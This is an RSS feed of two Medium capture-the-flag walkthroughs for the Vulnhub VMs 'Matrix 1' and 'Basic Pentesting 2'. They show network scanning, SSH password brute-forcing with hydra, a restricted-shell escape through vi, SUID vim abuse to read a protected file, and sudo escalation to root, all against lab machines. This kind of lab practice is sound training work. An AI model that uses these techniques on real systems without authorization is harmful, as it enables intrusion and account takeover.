<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nelson Colón on Medium]]></title>
        <description><![CDATA[Stories by Nelson Colón on Medium]]></description>
        <link>https://medium.com/@ncolonm?source=rss-b36e8d1805df------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ePO-ZWtzzOtukU8M6Bi9PQ.jpeg</url>
            <title>Stories by Nelson Colón on Medium</title>
            <link>https://medium.com/@ncolonm?source=rss-b36e8d1805df------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 10:48:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ncolonm/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Matrix 1: A Vulnhub VM Walkthrough]]></title>
            <link>https://medium.com/@ncolonm/matrix-1-a-vulnhub-vm-walkthrough-b8ee5d2b178a?source=rss-b36e8d1805df------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8ee5d2b178a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[boot2root]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Nelson Colón]]></dc:creator>
            <pubDate>Fri, 09 Nov 2018 15:45:56 GMT</pubDate>
            <atom:updated>2018-11-09T15:45:56.484Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello again, this time I’m going to write about Matrix, no, not the movie, but instead a VM from Vulnhub which main focus is to obtain the root flag. Let’s dive into it.</p><h4><strong>Summary</strong></h4><p>The Matrix VM is a virtual machine inspired in the Matrix trilogies, it has some easter eggs in it but nothing crazy which is fine for me as I don’t remember too much about the trilogy. But anyways, the difficulty for this VM is Intermediate as described in <a href="https://www.vulnhub.com/entry/matrix-1,259/">here</a>. Some advice is that we don’t need too much to work on this VM and every tool used in this tutorial comes already with Kali Linux/Parrot, this time I’ll be using Parrot Security OS.</p><h4><strong>Discovery</strong></h4><p>First, we need to recognize the IP that the machine is using, I use arp-scan for the job but you can use netdiscover or nmap to do the trick, with arp-scan is like this:</p><blockquote>arp-scan -l</blockquote><p>This puts out a list of all the machines in the network that a re sending ARP packets, the output looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*WFnSB1TjtvLEYjrr6BSS2g.png" /><figcaption>The IP of the machine identified</figcaption></figure><p>With that, we can proceed to do some footprinting using our trusted nmap, the command used in this case was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*srrCkG9agJSsBsHtqUbJ6Q.png" /><figcaption>nmap command to do information gathering on the server.</figcaption></figure><p>The output for this command is equal to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*WjjmcSfgQRZor52PjvlKeg.png" /></figure><p>Okay, we get that 3 ports are open, port 22 for SSH and ports 80 and 31337 for HTTP.</p><p>Accessing to port 80 doesn’t bring too much:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tg4bMl4SKxL-TP5VspGC8g.png" /></figure><p>Except for the message that says follow the White Rabbit, thing is, if you look the page source in this site, you’ll find a clue for what to do next:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Niq20tVhldMASn3i6ByJkg.png" /></figure><p>As you can see in the last picture, img will give you a hint to follow the port 31337.</p><p>Accessing port 31337 gives us this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GBTDPOWi6lvZUfpxGf9xjw.png" /></figure><p>And if you check out the page source, you’ll get the first big finding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RGoCX__ipHEm5rwCABIUA.png" /></figure><p><strong>Getting access</strong></p><p>The string founded in the page source is:</p><p>ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p><p>And it’s encoded in Base64, passing it through a decoder gives you this:</p><p>echo “Then you’ll see, that it is not the spoon that bends, it is only yourself. “ &gt; Cypher.matrix</p><p>This looks like a command in bash, echo is for printing and “&gt;” is for concatenate strings in files. So what the last command is doing is printing the message “Then you’ll see, that it is not the spoon that bends, it is only yourself.” in the file “Cypher.matrix”.</p><p>Why don’t we try to access this file?</p><p>When you go the URL:</p><p><a href="http://192.168.201.124:31337/Cypher.matrix">http://192.168.201.124:31337/Cypher.matrix</a></p><p>It automatically downloads a file which contains the next cypher:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*JkRMoLyE0nvQom1M72Y0SQ.png" /></figure><p>…</p><p>You’re probably thinking “WTF”, don’t worry. I was thinking the same thing.</p><p>After some Google Fu, I found that this is code for Brainfuck, a programming language that just exists for, you guessed it, messing up your brain.</p><p>When you compile it, it prints out this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*M7gGnW0oXad29rabxqAUWQ.png" /></figure><p>You see, here’s telling me that there is a user called guest and that the password starts with k1ll0r, and ends with two other characters, guess it’s time to create our dictionary for brute forcing SSH. Luckily for us, there’s a tool that can do the trick and it’s called mp64:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*NxfttxmZ7qdaM-cvSxH2nQ.png" /></figure><p>This command creates a wordlist using the word “k1ll0r” and generating all possibles combination for the last two characters using the ?a option.</p><p>After the wordlist is created I proceeded to brute force the SSH service using hydra:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*L1bY-Pfwuyzz70DTRog11Q.png" /></figure><p>And after a couple of minutes we find the password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-RBeDr9FRXuuMxEZWU_Kg.png" /></figure><p>Which is k1ll0r7n.</p><p>Now, let’s access the server through SSH using the recently obtained credentials.</p><h4>Privilege escalation</h4><p>Once here, if you try to do anything, you’ll find you don’t have access to use any command :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*FDuSWMcRiinLTQFGliiuFw.png" /></figure><p>This is because you’re using a restricted shell, this is commonly use for restricting the users to certain actions, in this case, I’ll need to find a way to break the shell jail. Using the export command gives us a better idea of what we can do inside the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*_N5i9JbSzoCOaE2oqqQeog.png" /></figure><p>It shows that our PATH is “/home/guest/prog” and the SHELL is “/bin/rbash” which is for <strong>restricted bash.</strong></p><p>If we look into the path direction we have for the user, we’ll find there is only one program we can access which is <strong>vi:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*pC4L4ZME_rP7VUB4WkwUcw.png" /></figure><p>This is perfect as we can escape a restricted shell using vi, <a href="https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells">here</a> is a better explanation about that. Lucky for us typing <em>:!/bin/bash </em>was good enough to escape the restricted shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*C_Lm2bzNTC7f_Zcin1_aZw.png" /><figcaption>Opening vi as guest</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/168/1*QqRQUKvpUU11lynLDQp3GQ.png" /><figcaption>Breaking out of restricted bash through vi</figcaption></figure><p>And we are free:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/204/1*QeP-FkorzdbPZn4bYPY6UQ.png" /></figure><p>Let’s see if we can export a new path for bash with:</p><blockquote>export PATH=/usr/bin:/bin/</blockquote><p>And we are able to do it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*dB_XCTBvYHHkec9b-VRHlg.png" /></figure><p>Now with that we are able to use most of the commands in linux.</p><p>After messing and enumerating a while inside of the server, I found out that the user has permissions to execute every command available:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*Id7YMWUSrE5wx7T_A6JtHQ.png" /></figure><p>That means that we can change to root user using the command sudo su:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*ejNYQSQ9VU77yFbRYK2o5g.png" /></figure><p>With that, we just need to read the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*ZH0bJCfo-EPXZirT55Yk8g.png" /><figcaption>Rooted</figcaption></figure><h4>Conclusion</h4><p>The VM was really fun to root, it emphasizes jail breaking of a restricted shell and Google searching, I give it a 4.8/10 in difficulty level and I can say that I learn something new with this VM.</p><p>Shout out to the creator of it, <a href="https://medium.com/u/ac22bea8ad2">Ajay Verma</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8ee5d2b178a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Pentesting 2 (VM) — Walkthrough]]></title>
            <link>https://medium.com/@ncolonm/basic-pentesting-2-vm-walkthrough-383047900187?source=rss-b36e8d1805df------2</link>
            <guid isPermaLink="false">https://medium.com/p/383047900187</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Nelson Colón]]></dc:creator>
            <pubDate>Sun, 30 Sep 2018 20:39:43 GMT</pubDate>
            <atom:updated>2018-10-01T14:54:19.940Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello all, this is my first overall post in the site and it’s a walkthrough<strong> </strong>on how to capture the root flag on this VM that is a boot2root VM. So, let’s get started.</p><p>Before everything, here are a couple of things we need to keep in mind to solve this VM:</p><ul><li>Kali Linux</li><li>netdiscover</li><li>nmap</li><li>enum4linux</li><li>dirb</li><li>Hydra</li><li>SSH</li></ul><p>Having all this in mind, let’s begin, shall we?</p><p><em>Note: This is just </em><strong><em>one </em></strong><em>way to solve the VM, there are two ways intended to get the root flag, I just focused on the way that worked for me in this post.</em></p><p>First thing first, if you are going to hack a server, you need to know the IP assigned to it, we can get the IP by simply using the netdiscover tool in Kali Linux.</p><blockquote>root@kali:~# netdiscover</blockquote><p>In simple words, Netdiscover is a tool that’s used for finding hosts in network interfaces. So everything that’s on the same network as the host, it’s going to be detected, here are the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*Hb7PGLf7P6MtAu0l5CXT2g.png" /></figure><p>As you can see, the host detected our VM and it’s IP, next thing to do, is find what ports and services are running on the machine, we do that with our trusted and beloved nmap:</p><blockquote>root@kali:~/BasicPentesting2# nmap -sS -A -p- -T4 -oN scanBasic2.txt 192.168.1.159</blockquote><p>Okay, the last command might look a little bit frightening but let me explain what it does:</p><ul><li><em>-sS: </em>This is just specifying the type of scan to do, in this case, we are going to be doing a SYN scan with nmap.</li><li><em>-A</em>: To enable OS and version detection for the services.</li><li><em>-p-</em>: To scan all 65535 TCP ports.</li><li><em>-oN</em>: To specify an output file for the results of the scan.</li></ul><p>The last part is the target IP, in this case, it’s <em>192.168.1.159. </em>This command execution will bring us a lot of information, let’s check it out:</p><blockquote>root@kali:~/BasicPentesting2# nmap -sS -A -p- -T4 -oN scanBasic2.txt 192.168.1.159<br>Starting Nmap 7.70 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2018–09–30 15:06 EDT<br>Nmap scan report for 192.168.1.159<br>Host is up (0.00060s latency).<br>Not shown: 65529 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)<br>| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)<br>|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn’t have a title (text/html).<br>139/tcp open netbios-ssn Samba smbd 3.X — 4.X (workgroup: WORKGROUP)<br>445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)<br>8009/tcp open ajp13 Apache Jserv (Protocol v1.3)<br>| ajp-methods: <br>|_ Supported methods: GET HEAD POST OPTIONS<br>8080/tcp open http Apache Tomcat 9.0.7<br>|_http-favicon: Apache Tomcat<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-title: Apache Tomcat/9.0.7<br>MAC Address: 08:00:27:A1:01:12 (Oracle VirtualBox virtual NIC)<br>Device type: general purpose<br>Running: Linux 3.X|4.X<br>OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4<br>OS details: Linux 3.2–4.9<br>Network Distance: 1 hop<br>Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel</blockquote><blockquote>Host script results:<br>|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s<br>|_nbstat: NetBIOS name: BASIC2, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb-os-discovery: <br>| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)<br>| Computer name: basic2<br>| NetBIOS computer name: BASIC2\x00<br>| Domain name: \x00<br>| FQDN: basic2<br>|_ System time: 2018–09–30T15:06:56–04:00<br>| smb-security-mode: <br>| account_used: guest<br>| authentication_level: user<br>| challenge_response: supported<br>|_ message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>| 2.02: <br>|_ Message signing enabled but not required<br>| smb2-time: <br>| date: 2018–09–30 15:06:56<br>|_ start_date: N/A</blockquote><blockquote>TRACEROUTE<br>HOP RTT ADDRESS<br>1 0.60 ms 192.168.1.159</blockquote><blockquote>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 17.88 seconds</blockquote><p>From the results now we know the server is using 6 ports: 22, 80, 139, 445, 8009, 8080. As soon as I identified the port 139 and 445, next thing that came to my mind was to use enum4linux, this tool is for enumeration of the SMB service.</p><blockquote>root@kali:~/BasicPentesting2# enum4linux 192.168.1.159</blockquote><p>The output is long list of services, directories and configurations use in the SMB service, but the 2 lines that caught most of my attention where those:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*6mIrq76JTRItscqiBamN0A.png" /></figure><p>Hmm, two users were found, kay and jan… That makes me think that those will help later, so I just saved them in a .txt file for now, let’s move on to the port 80.</p><p>Once you access the IP in your browser you get this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*sYGysM3c8ki9B8iOvdQTrA.png" /></figure><p>Let’s go directly to dirbuster to check what directories and files are presented in the web app</p><blockquote>root@kali:~/BasicPentesting2# dirb <a href="http://192.168.1.159/">http://192.168.1.159:80</a></blockquote><blockquote>— — — — — — — — -<br>DIRB v2.22 <br>By The Dark Raver<br> — — — — — — — — -</blockquote><blockquote>START_TIME: Sun Sep 30 15:56:29 2018<br>URL_BASE: <a href="http://192.168.1.159/">http://192.168.1.159:80/</a><br>WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt</blockquote><blockquote>— — — — — — — — -</blockquote><blockquote>GENERATED WORDS: 4612</blockquote><blockquote>— — Scanning URL: <a href="http://192.168.1.159/">http://192.168.1.159:80/</a> — — <br>==&gt; DIRECTORY: <a href="http://192.168.1.159/development/">http://192.168.1.159:80/development/</a> <br>+ <a href="http://192.168.1.159/index.html">http://192.168.1.159:80/index.html</a> (CODE:200|SIZE:158) <br>+ <a href="http://192.168.1.159/server-status">http://192.168.1.159:80/server-status</a> (CODE:403|SIZE:301) <br> <br> — — Entering directory: <a href="http://192.168.1.159/development/">http://192.168.1.159:80/development/</a> — — <br>(!) WARNING: Directory IS LISTABLE. No need to scan it. <br> (Use mode ‘-w’ if you want to scan it anyway)<br> <br> — — — — — — — — -<br>END_TIME: Sun Sep 30 15:56:30 2018<br>DOWNLOADED: 4612 — FOUND: 2</blockquote><p>Oh, a development folder is present in the web app, I’m guessing what it might contain, let’s access the URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*8mByLYlhYYIQhumXggNBNQ.png" /></figure><p>Two txt files, one named dev.txt and the other j.txt. Let’s check them out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*DrP73W2AO2ezWs7JXhr1_w.png" /></figure><p>This gives a good amount of information about the web server which is (Apache) and it’s giving us the version (2.5.12), here’s where I believe it’s the other way to compromise the VM, I spent a lot of time trying to get a shell searching for Apache and Struts exploits, but none worked, that’s why I went the other route, this one started with the next file found in the /development directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*XPJ6yfF-PC_3hru6uUn9Og.png" /></figure><p>As you can see, the user jan has been using a weak password that could be <strong>easily </strong>obtained. So, why don’t we try to obtain the password with bruteforcing using the Hydra tool? Let’s do it:</p><p>First, as the user kay is saying that the user jan is using a weak password, logic says that it probably he’s using a common password, so I looked up a list of most probable passwords on the internet and got <a href="https://github.com/berzerk0/Probable-Wordlists">this</a> beautiful Github repository that has a lot of wordlists and passwords in it.</p><p>I love using the Top 12k most probable passwords because it has been the one that works the best for me, took the txt file and saved it on my local machine, after that I went with the attack:</p><blockquote>hydra -L users.txt -P /usr/share/wordlists/top12k.txt ssh://192.168.1.159</blockquote><p>Hydra is a brute forcing tool that works with various configurations and services, let me explain the previous command:</p><ul><li>-L: To specify a list of users to brute force</li><li>-P: To specify a list of passwords to try on the attack</li><li>ssh:// : To specify the service to exploit of the target IP.</li></ul><p>After running I got this:</p><blockquote>[DATA] attacking ssh://192.168.1.159:22/<br>[STATUS] 260.00 tries/min, 260 tries in 00:00h, 0 to do in 01:00h, 24070 active<br>[STATUS] 247.33 tries/min, 742 tries in 00:00h, 0 to do in 03:00h, 23588 active<br>[STATUS] 242.14 tries/min, 1695 tries in 00:00h, 0 to do in 07:00h, 22635 active<br>[STATUS] 241.07 tries/min, 3616 tries in 00:00h, 0 to do in 15:00h, 20714 active<br>[STATUS] 239.84 tries/min, 7435 tries in 00:00h, 0 to do in 31:00h, 16895 active<br>[STATUS] 239.81 tries/min, 11271 tries in 00:00h, 0 to do in 47:00h, 13059 active<br>[22][ssh] host: 192.168.1.159 login: jan password: armando<br>1 of 1 target successfully completed, 1 valid password found</blockquote><p>Nice, got a password, <strong>armando </strong>for user <strong>jan. </strong>Now let’s go and connect to the computer using jan:</p><blockquote>root@kali:~/BasicPentesting2# ssh jan@192.168.1.159</blockquote><p>Perfect, got access to the computer, now first thing I try is to get the /root/flag.txt but of course, it’s not that easy:</p><blockquote>jan@basic2:~$ ls<br>jan@basic2:~$ cd ..<br>jan@basic2:/home$ ls<br>jan kay<br>jan@basic2:/home$ cd kay/<br>jan@basic2:/home/kay$ ls<br>pass.bak</blockquote><p>We found that we can access kay folder and see that there’s a pass.bak file. But we cannot read the file:</p><blockquote>jan@basic2:/home/kay$ cat pass.bak <br>cat: pass.bak: Permission denied</blockquote><p>So I start looking for another way to escalate privileges, first thing I do is see the SUIDs of the machine:</p><blockquote>jan@basic2:/home/kay$ find / -perm -u=s -type f 2&gt;/dev/null<br>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/snapd/snap-confine<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/bin/vim.basic<br>/usr/bin/pkexec<br>/usr/bin/newgrp<br>/usr/bin/chfn<br>/usr/bin/sudo<br>/usr/bin/chsh<br>/usr/bin/newgidmap<br>/usr/bin/at<br>/usr/bin/gpasswd<br>/usr/bin/newuidmap<br>/usr/bin/passwd<br>/bin/su<br>/bin/ntfs-3g<br>/bin/ping6<br>/bin/umount<br>/bin/fusermount<br>/bin/mount<br>/bin/ping</blockquote><p>Everything looks normal except for, vim.basic. That gave me an idea, if vim.basic have root permissions, that means that I could probably read the file in kay’s directory, let’s check:</p><blockquote>jan@basic2:/home/kay$ vim.basic pass.bak</blockquote><p>And we get that the password for kay is:</p><p><strong>heresareallystrongpasswordthatfollowsthepasswordpolicy$$</strong></p><p>Now that we have his password, we need to login in the computer with his credentials and see what we can do.</p><p>Just as before, we use SSH:</p><blockquote>root@kali:~/BasicPentesting2# ssh kay@192.168.1.159</blockquote><p>And use the password we retrieved before. Now once we are in, let’s check the rights he has in the server:</p><blockquote>kay@basic2:~$ sudo -l<br>[sudo] password for kay: <br>Matching Defaults entries for kay on basic2:<br> env_reset, mail_badpass,<br> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</blockquote><blockquote>User kay may run the following commands on basic2:<br> (ALL : ALL) ALL</blockquote><p>User can use any command. So, he can use <strong>sudo su:</strong></p><blockquote>kay@basic2:~$ sudo su<br>root@basic2:/home/kay#</blockquote><p>Now with root access, let’s get that flag:</p><blockquote>root@basic2:/home/kay# cat /root/flag.txt <br>Congratulations! You’ve completed this challenge. There are two ways (that I’m aware of) to gain <br>a shell, and two ways to privesc. I encourage you to find them all!</blockquote><blockquote>If you’re in the target audience (newcomers to pentesting), I hope you learned something. A few<br>takeaways from this challenge should be that every little bit of information you can find can be<br>valuable, but sometimes you’ll need to find several different pieces of information and combine<br>them to make them useful. Enumeration is key! Also, sometimes it’s not as easy as just finding<br>an obviously outdated, vulnerable service right away with a port scan (unlike the first entry<br>in this series). Usually you’ll have to dig deeper to find things that aren’t as obvious, and<br>therefore might’ve been overlooked by administrators.</blockquote><blockquote>Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you’ll send <br>me a link! I can be reached at <a href="/service/mailto:josiah@vt.edu">josiah@vt.edu</a>. If you’ve got questions or feedback, please reach<br>out to me.</blockquote><blockquote>Happy hacking!</blockquote><p>Nice.</p><p>Hope you enjoyed the read, if you have more questions you can get in contact with me.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=383047900187" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>